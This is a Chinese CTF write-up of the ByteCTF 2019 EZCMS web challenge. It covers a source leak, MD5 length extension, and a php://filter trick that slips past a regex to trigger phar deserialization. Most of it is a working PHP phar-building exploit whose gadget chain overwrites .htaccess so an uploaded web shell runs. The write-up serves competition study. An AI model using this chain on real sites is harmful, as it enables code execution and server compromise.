[ByteCTF 2019]EZCMS
题目复现链接:https://buuoj.cn/challenges
参考链接:ByteCTF_2019&XNUCA_2019部分web题复现
一、知识点
1、源码泄露
访问www.zip获取源码
2、MD5长度扩展攻击
hashpump 注意 hashpump原理,只有一项会影响到最后的hash值
3、php://filter
绕过正则实现phar反序列化
就算知道是这个思路,自己也做不出来。。。
这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
的过滤是可以绕过的,最后访问phar://
时可以访问php://filter/resource=phar://
最后的phar脚本如下
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()// __construct 是给 admin username password 赋值的 ,不要想太多
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);//这里就是寻找到的pop链 open,利用原来有的open
}
}
$a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();